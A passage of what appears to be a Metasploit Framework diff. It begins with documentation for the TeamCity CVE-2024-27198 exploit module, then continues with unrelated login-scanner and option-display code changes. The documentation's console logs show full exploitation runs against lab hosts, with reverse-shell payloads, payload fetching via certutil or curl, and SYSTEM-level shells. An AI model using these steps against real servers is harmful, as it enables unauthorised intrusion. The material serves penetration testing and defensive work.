[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set RHOST 192.168.86.68
|
||||
RHOST => 192.168.86.68
|
||||
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > check
|
||||
[+] 192.168.86.68:8111 - The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Windows Server 2022.
|
||||
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show targets
|
||||
|
||||
Exploit targets:
|
||||
=================
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
=> 0 Java
|
||||
1 Java Server Page
|
||||
2 Windows Command
|
||||
3 Linux Command
|
||||
4 Unix Command
|
||||
|
||||
|
||||
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set target 0
|
||||
target => 0
|
||||
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload java/meterpreter/reverse_tcp
|
||||
payload => java/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set LHOST eth0
|
||||
LHOST => eth0
|
||||
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show options
|
||||
|
||||
Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.86.68 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 8111 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes The base path to TeamCity
|
||||
TEAMCITY_ADMIN_ID 1 yes The ID of an administrator account to authenticate as
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (java/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST eth0 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Java
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Windows Server 2022.
|
||||
[*] Created authentication token: eyJ0eXAiOiAiVENWMiJ9.c1hvczdQOUFMX2J5Z3NiZU9MYzFDSEdPQ213.Mzk3NmQ5MmQtOTBmOC00OGNjLTkyNWEtMzRhYWI2YzUwMTU4
|
||||
[*] Uploading plugin: TdbCU0EE
|
||||
[*] Sending stage (57971 bytes) to 192.168.86.68
|
||||
[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.68:53099) at 2024-02-23 14:13:22 +0000
|
||||
[*] Deleting the plugin...
|
||||
[*] Deleting the authentication token...
|
||||
[!] This exploit may require manual cleanup of 'C:\TeamCity\webapps\ROOT\plugins\TdbCU0EE' on the target
|
||||
[!] This exploit may require manual cleanup of 'C:\TeamCity\work\Catalina\localhost\ROOT\TC_147512_TdbCU0EE' on the target
|
||||
[!] This exploit may require manual cleanup of 'C:\ProgramData\JetBrains\TeamCity\system\caches\plugins.unpacked\TdbCU0EE' on the target
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: WIN-CMULENHFCK7$
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-CMULENHFCK7
|
||||
OS : Windows Server 2022 10.0 (amd64)
|
||||
Architecture : x64
|
||||
System Language : en_IE
|
||||
Meterpreter : java/windows
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Java Server Page
|
||||
|
||||
```
|
||||
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload java/jsp_shell_reverse_tcp
|
||||
payload => java/jsp_shell_reverse_tcp
|
||||
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show options
|
||||
|
||||
Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.86.68 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 8111 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes The base path to TeamCity
|
||||
TEAMCITY_ADMIN_ID 1 yes The ID of an administrator account to authenticate as
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (java/jsp_shell_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CreateSession true no Create a new session for every successful login
|
||||
LHOST eth0 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
SHELL no The system shell to use.
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
1 Java Server Page
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > check
|
||||
[+] 192.168.86.68:8111 - The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Windows Server 2022.
|
||||
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Windows Server 2022.
|
||||
[*] Created authentication token: eyJ0eXAiOiAiVENWMiJ9.OFNzM2pkZW5IMXp0V2stY2VqWEtOZkpoOW9Z.ZWU4Y2I2ODgtZDQzMS00ZjE5LTk5NzgtNGY5YzMwM2VmMjcx
|
||||
[*] Uploading plugin: jWHObFbu
|
||||
[*] Deleting the plugin...
|
||||
[*] Deleting the authentication token...
|
||||
[*] Command shell session 2 opened (192.168.86.42:4444 -> 192.168.86.68:53110) at 2024-02-23 14:20:35 +0000
|
||||
[!] This exploit may require manual cleanup of 'C:\TeamCity\webapps\ROOT\plugins\jWHObFbu' on the target
|
||||
[!] This exploit may require manual cleanup of 'C:\TeamCity\work\Catalina\localhost\ROOT\TC_147512_jWHObFbu' on the target
|
||||
[!] This exploit may require manual cleanup of 'C:\ProgramData\JetBrains\TeamCity\system\caches\plugins.unpacked\jWHObFbu' on the target
|
||||
|
||||
|
||||
Shell Banner:
|
||||
Microsoft Windows [Version 10.0.20348.1547]
|
||||
(c) Microsoft Corporation. All rights reserved.
|
||||
-----
|
||||
|
||||
|
||||
c:\TeamCity\bin>whoami
|
||||
whoami
|
||||
nt authority\system
|
||||
|
||||
c:\TeamCity\bin>
|
||||
```
|
||||
|
||||
### Windows Command
|
||||
|
||||
Note: Ensure the target is a Windows target by confirming via the `check` command.
|
||||
|
||||
Note: Ensure the `FETCH_COMMAND` is set to a suitable value, such as `CERTUTIL`.
|
||||
|
||||
Note: Ensure the `FETCH_WRITABLE_DIR` is set to a suitable value, such as `%TEMP%`.
|
||||
|
||||
```
|
||||
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set target 2
|
||||
target => 2
|
||||
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload cmd/
|
||||
Display all 623 possibilities? (y or n)
|
||||
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
|
||||
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show options
|
||||
|
||||
Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.86.68 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 8111 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes The base path to TeamCity
|
||||
TEAMCITY_ADMIN_ID 1 yes The ID of an administrator account to authenticate as
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||
FETCH_COMMAND CERTUTIL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME qaZbVnKb no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces.
|
||||
LHOST eth0 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
2 Windows Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > check
|
||||
[+] 192.168.86.68:8111 - The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Windows Server 2022.
|
||||
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Windows Server 2022.
|
||||
[*] Created authentication token: eyJ0eXAiOiAiVENWMiJ9.ZHpiZmNJMlB1b2Zqam5NSkw0bk1JS1hFdlZz.MjVjZDQ3YjEtODM2YS00Y2I1LWE3ODEtMzUzMTgzMDc4NjA3
|
||||
[*] Uploading plugin: RzeS0eJP
|
||||
[*] Deleting the plugin...
|
||||
[*] Sending stage (201798 bytes) to 192.168.86.68
|
||||
[*] Deleting the authentication token...
|
||||
[+] Deleted C:\TeamCity\work\Catalina\localhost\ROOT\TC_147512_RzeS0eJP
|
||||
[*] Meterpreter session 3 opened (192.168.86.42:4444 -> 192.168.86.68:53113) at 2024-02-23 14:21:43 +0000
|
||||
[!] This exploit may require manual cleanup of 'C:\ProgramData\JetBrains\TeamCity\system\caches\plugins.unpacked\RzeS0eJP' on the target
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-CMULENHFCK7
|
||||
OS : Windows Server 2022 (10.0 Build 20348).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 1
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > pwd
|
||||
c:\TeamCity\bin
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Linux Command
|
||||
|
||||
Note: Ensure the target is a Linux target by confirming via the `check` command.
|
||||
|
||||
Note: Ensure the `FETCH_COMMAND` is set to a suitable value, such as `CURL`.
|
||||
|
||||
Note: Ensure the `FETCH_WRITABLE_DIR` is set to a suitable value, such as `/tmp`.
|
||||
|
||||
```
|
||||
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set RHOSTS 192.168.86.43
|
||||
RHOSTS => 192.168.86.43
|
||||
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > check
|
||||
[+] 192.168.86.43:8111 - The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Linux.
|
||||
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set target 3
|
||||
target => 3
|
||||
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set FETCH_WRITABLE_DIR /tmp
|
||||
FETCH_WRITABLE_DIR => /tmp
|
||||
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show options
|
||||
|
||||
Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.86.43 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 8111 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes The base path to TeamCity
|
||||
TEAMCITY_ADMIN_ID 1 yes The ID of an administrator account to authenticate as
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME cWStJXIvdtmM no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces
|
||||
LHOST eth0 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
3 Linux Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Linux.
|
||||
[*] Created authentication token: eyJ0eXAiOiAiVENWMiJ9.NVAxemdUTVFnSlp4Um1jdkN5Yi12dk1wNkJR.NTIyNTA1NjgtOWM3Zi00YzdiLTkzMTEtYTc2Y2ZkZjRjYTVl
|
||||
[*] Uploading plugin: CyGZ1ME5
|
||||
[*] Sending stage (3045380 bytes) to 192.168.86.43
|
||||
[*] Deleting the plugin...
|
||||
[*] Meterpreter session 4 opened (192.168.86.42:4444 -> 192.168.86.43:55572) at 2024-02-23 14:24:37 +0000
|
||||
[*] Deleting the authentication token...
|
||||
[!] This exploit may require manual cleanup of '/opt/TeamCity/work/Catalina/localhost/ROOT/TC_147512_CyGZ1ME5' on the target
|
||||
[!] This exploit may require manual cleanup of '/home/teamcity/.BuildServer/system/caches/plugins.unpacked/CyGZ1ME5' on the target
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: teamcity
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.86.43
|
||||
OS : Ubuntu 22.04 (Linux 6.5.0-15-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > pwd
|
||||
/opt/TeamCity/bin
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Unix Command
|
||||
|
||||
This target is suitable for targeting Linux, OSX, or any of the unofficially supported platforms such as
|
||||
Solaris, FreeBSD and so on.
|
||||
|
||||
Note: Ensure the target is a Unix-like target by confirming via the `check` command.
|
||||
|
||||
```
|
||||
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set target 4
|
||||
target => 4
|
||||
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload cmd/unix/reverse_bash
|
||||
payload => cmd/unix/reverse_bash
|
||||
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show options
|
||||
|
||||
Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.86.43 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 8111 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes The base path to TeamCity
|
||||
TEAMCITY_ADMIN_ID 1 yes The ID of an administrator account to authenticate as
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/unix/reverse_bash):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CreateSession true no Create a new session for every successful login
|
||||
LHOST eth0 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
4 Unix Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > check
|
||||
[+] 192.168.86.43:8111 - The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Linux.
|
||||
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Linux.
|
||||
[*] Created authentication token: eyJ0eXAiOiAiVENWMiJ9.ME9Xa2xIMDhSYmtxTVBMaThGWDdObVJaakZ3.MDdhNDM0NzktYWM3ZC00NzAzLTk4ZmUtNjVlMzQ3MGMwOGIz
|
||||
[*] Uploading plugin: 4V9kOD1D
|
||||
[*] Deleting the plugin...
|
||||
[*] Deleting the authentication token...
|
||||
[+] Deleted /opt/TeamCity/work/Catalina/localhost/ROOT/TC_147512_4V9kOD1D
|
||||
[+] Deleted /home/teamcity/.BuildServer/system/caches/plugins.unpacked/4V9kOD1D
|
||||
[*] Command shell session 5 opened (192.168.86.42:4444 -> 192.168.86.43:44878) at 2024-02-23 14:27:04 +0000
|
||||
|
||||
id
|
||||
uid=1002(teamcity) gid=1002(teamcity) groups=1002(teamcity)
|
||||
uname -a
|
||||
Linux teamcity-ubuntu-test 6.5.0-15-generic #15~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 12 18:54:30 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
|
||||
pwd
|
||||
/opt/TeamCity/bin
|
||||
```
|
||||
@@ -43,6 +43,11 @@ module Metasploit::Framework::CommonEngine
|
||||
if ActiveRecord.respond_to?(:legacy_connection_handling=)
|
||||
ActiveRecord.legacy_connection_handling = false
|
||||
end
|
||||
|
||||
# @see https://github.com/rapid7/metasploit_data_models/blob/54a17149d5ccd0830db742d14c4987b48399ceb7/lib/metasploit_data_models/yaml.rb#L10
|
||||
# @see https://github.com/rapid7/metasploit_data_models/blob/54a17149d5ccd0830db742d14c4987b48399ceb7/lib/metasploit_data_models/base64_serializer.rb#L28-L31
|
||||
ActiveRecord.yaml_column_permitted_classes = (ActiveRecord.yaml_column_permitted_classes + MetasploitDataModels::YAML::PERMITTED_CLASSES).uniq
|
||||
|
||||
#
|
||||
# `initializer`s
|
||||
#
|
||||
|
||||
@@ -77,7 +77,7 @@ module Metasploit
|
||||
}
|
||||
|
||||
begin
|
||||
client = Rex::Proto::MSSQL::Client.new(framework_module, framework, host, port)
|
||||
client = Rex::Proto::MSSQL::Client.new(framework_module, framework, host, port, proxies)
|
||||
if client.mssql_login(credential.public, credential.private, '', credential.realm)
|
||||
result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
if use_client_as_proof
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
require 'metasploit/framework/tcp/client'
|
||||
require 'mysql'
|
||||
require 'metasploit/framework/login_scanner/base'
|
||||
require 'metasploit/framework/login_scanner/rex_socket'
|
||||
require 'rex/proto/mysql/client'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
@@ -37,31 +37,31 @@ module Metasploit
|
||||
begin
|
||||
# manage our behind the scenes socket. Close any existing one and open a new one
|
||||
disconnect if self.sock
|
||||
connect
|
||||
self.sock = connect
|
||||
|
||||
mysql_conn = ::Mysql.connect(host, credential.public, credential.private, '', port, sock)
|
||||
mysql_conn = ::Rex::Proto::MySQL::Client.connect(host, credential.public, credential.private, '', port, io: self.sock)
|
||||
|
||||
rescue ::SystemCallError, Rex::ConnectionError => e
|
||||
result_options.merge!({
|
||||
status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT,
|
||||
proof: e
|
||||
})
|
||||
rescue Mysql::ClientError => e
|
||||
rescue Rex::Proto::MySQL::Client::ClientError => e
|
||||
result_options.merge!({
|
||||
status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT,
|
||||
proof: e
|
||||
})
|
||||
rescue Mysql::HostNotPrivileged => e
|
||||
rescue Rex::Proto::MySQL::Client::HostNotPrivileged => e
|
||||
result_options.merge!({
|
||||
status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT,
|
||||
proof: e
|
||||
})
|
||||
rescue Mysql::AccessDeniedError => e
|
||||
rescue Rex::Proto::MySQL::Client::AccessDeniedError => e
|
||||
result_options.merge!({
|
||||
status: Metasploit::Model::Login::Status::INCORRECT,
|
||||
proof: e
|
||||
})
|
||||
rescue Mysql::HostIsBlocked => e
|
||||
rescue Rex::Proto::MySQL::Client::HostIsBlocked => e
|
||||
result_options.merge!({
|
||||
status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT,
|
||||
proof: e
|
||||
|
||||
@@ -45,7 +45,7 @@ module Metasploit
|
||||
pg_conn = nil
|
||||
|
||||
begin
|
||||
pg_conn = Msf::Db::PostgresPR::Connection.new(db_name,credential.public,credential.private,uri)
|
||||
pg_conn = Msf::Db::PostgresPR::Connection.new(db_name,credential.public,credential.private,uri,proxies)
|
||||
rescue ::RuntimeError => e
|
||||
case e.to_s.split("\t")[1]
|
||||
when "C3D000"
|
||||
|
||||
@@ -48,6 +48,12 @@ module Metasploit
|
||||
].freeze
|
||||
end
|
||||
|
||||
# @returns [Array[Integer]] The SMB versions to negotiate
|
||||
attr_accessor :versions
|
||||
|
||||
# @returns [Boolean] By default the client uses encryption even if it is not required by the server. Disable this by setting always_encrypt to false
|
||||
attr_accessor :always_encrypt
|
||||
|
||||
# @!attribute dispatcher
|
||||
# @return [RubySMB::Dispatcher::Socket]
|
||||
attr_accessor :dispatcher
|
||||
@@ -104,7 +110,16 @@ module Metasploit
|
||||
realm = (credential.realm || '').dup.force_encoding('UTF-8')
|
||||
username = (credential.public || '').dup.force_encoding('UTF-8')
|
||||
password = (credential.private || '').dup.force_encoding('UTF-8')
|
||||
client = RubySMB::Client.new(dispatcher, username: username, password: password, domain: realm)
|
||||
client = RubySMB::Client.new(
|
||||
dispatcher,
|
||||
username: username,
|
||||
password: password,
|
||||
domain: realm,
|
||||
smb1: versions.include?(1),
|
||||
smb2: versions.include?(2),
|
||||
smb3: versions.include?(3),
|
||||
always_encrypt: always_encrypt
|
||||
)
|
||||
|
||||
if kerberos_authenticator_factory
|
||||
client.extend(Msf::Exploit::Remote::SMB::Client::KerberosAuthentication)
|
||||
@@ -187,6 +202,8 @@ module Metasploit
|
||||
self.connection_timeout = 10 if connection_timeout.nil?
|
||||
self.max_send_size = 0 if max_send_size.nil?
|
||||
self.send_delay = 0 if send_delay.nil?
|
||||
self.always_encrypt = true if always_encrypt.nil?
|
||||
self.versions = ::Rex::Proto::SMB::SimpleClient::DEFAULT_VERSIONS if versions.nil?
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -32,7 +32,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "6.3.56"
|
||||
VERSION = "6.3.60"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -568,116 +568,96 @@ class ReadableText
|
||||
# @param indent [String] the indentation to use.
|
||||
# @param missing [Boolean] dump only empty required options.
|
||||
# @return [String] the string form of the information.
|
||||
def self.dump_options(mod, indent = '', missing = false)
|
||||
options = mod.options.map { |_name, option| option }
|
||||
options_grouped_by_conditions = options.group_by(&:conditions)
|
||||
def self.dump_options(mod, indent = '', missing = false, advanced: false, evasion: false)
|
||||
filtered_options = mod.options.values.select { |opt| opt.advanced? == advanced && opt.evasion? == evasion }
|
||||
|
||||
options_with_conditions = ''.dup
|
||||
options_without_conditions = ''.dup
|
||||
option_groups = mod.options.groups.map { |_name, group| group }.sort_by(&:name)
|
||||
options_by_group = option_groups.map do |group|
|
||||
[group, group.option_names.map { |name| mod.options[name] }.compact]
|
||||
end.to_h
|
||||
grouped_option_names = option_groups.flat_map(&:option_names)
|
||||
remaining_options = filtered_options.reject { |option| grouped_option_names.include?(option.name) }
|
||||
options_grouped_by_conditions = remaining_options.group_by(&:conditions)
|
||||
|
||||
options_grouped_by_conditions.each do |conditions, options|
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Indent' => indent.length,
|
||||
'Columns' =>
|
||||
[
|
||||
'Name',
|
||||
'Current Setting',
|
||||
'Required',
|
||||
'Description'
|
||||
])
|
||||
option_tables = []
|
||||
|
||||
options.sort_by(&:name).each do |opt|
|
||||
name = opt.name
|
||||
if mod.datastore.is_a?(Msf::DataStoreWithFallbacks)
|
||||
val = mod.datastore[name]
|
||||
else
|
||||
val = mod.datastore[name].nil? ? opt.default : mod.datastore[name]
|
||||
end
|
||||
options_grouped_by_conditions.sort.each do |conditions, options|
|
||||
tbl = options_table(missing, mod, options, indent)
|
||||
|
||||
next if (opt.advanced?)
|
||||
next if (opt.evasion?)
|
||||
next if (missing && opt.valid?(val))
|
||||
|
||||
desc = opt.desc.dup
|
||||
|
||||
# Hint at RPORT proto by regexing mixins
|
||||
if name == 'RPORT' && opt.kind_of?(Msf::OptPort)
|
||||
mod.class.included_modules.each do |m|
|
||||
case m.name
|
||||
when /tcp/i, /HttpClient$/
|
||||
desc << ' (TCP)'
|
||||
break
|
||||
when /udp/i
|
||||
desc << ' (UDP)'
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", desc ]
|
||||
end
|
||||
|
||||
next if conditions.any? && tbl.rows.empty?
|
||||
next if tbl.rows.empty?
|
||||
|
||||
if conditions.any?
|
||||
options_with_conditions << "\n\n#{indent}When #{Msf::OptCondition.format_conditions(mod, options.first)}:\n\n"
|
||||
options_with_conditions << tbl.to_s
|
||||
option_tables << "#{indent}When #{Msf::OptCondition.format_conditions(mod, options.first)}:\n\n#{tbl}"
|
||||
else
|
||||
options_without_conditions << tbl.to_s
|
||||
option_tables << tbl.to_s
|
||||
end
|
||||
end
|
||||
|
||||
result = "#{options_without_conditions}#{options_with_conditions}"
|
||||
options_by_group.each do |group, options|
|
||||
tbl = options_table(missing, mod, options, indent)
|
||||
option_tables << "#{indent}#{group.description}:\n\n#{tbl}"
|
||||
end
|
||||
|
||||
result = option_tables.join("\n\n")
|
||||
result
|
||||
end
|
||||
|
||||
# Creates the table for the given module options
|
||||
#
|
||||
# @param missing [Boolean] dump only empty required options.
|
||||
# @param mod [Msf::Module] the module.
|
||||
# @param options [Array<Msf::OptBase>] The options to be added to the table
|
||||
# @param indent [String] the indentation to use.
|
||||
#
|
||||
# @return [String] the string form of the table.
|
||||
def self.options_table(missing, mod, options, indent)
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Indent' => indent.length,
|
||||
'Columns' =>
|
||||
[
|
||||
'Name',
|
||||
'Current Setting',
|
||||
'Required',
|
||||
'Description'
|
||||
]
|
||||
)
|
||||
options.sort_by(&:name).each do |opt|
|
||||
name = opt.name
|
||||
if mod.datastore.is_a?(Msf::DataStoreWithFallbacks)
|
||||
val = mod.datastore[name]
|
||||
else
|
||||
val = mod.datastore[name].nil? ? opt.default : mod.datastore[name]
|
||||
end
|
||||
next if (missing && opt.valid?(val))
|
||||
|
||||
desc = opt.desc.dup
|
||||
|
||||
# Hint at RPORT proto by regexing mixins
|
||||
if name == 'RPORT' && opt.kind_of?(Msf::OptPort)
|
||||
mod.class.included_modules.each do |m|
|
||||
case m.name
|
||||
when /tcp/i, /HttpClient$/
|
||||
desc << ' (TCP)'
|
||||
break
|
||||
when /udp/i
|
||||
desc << ' (UDP)'
|
||||
break
|
||||
end
|
||||
end
|
||||
end
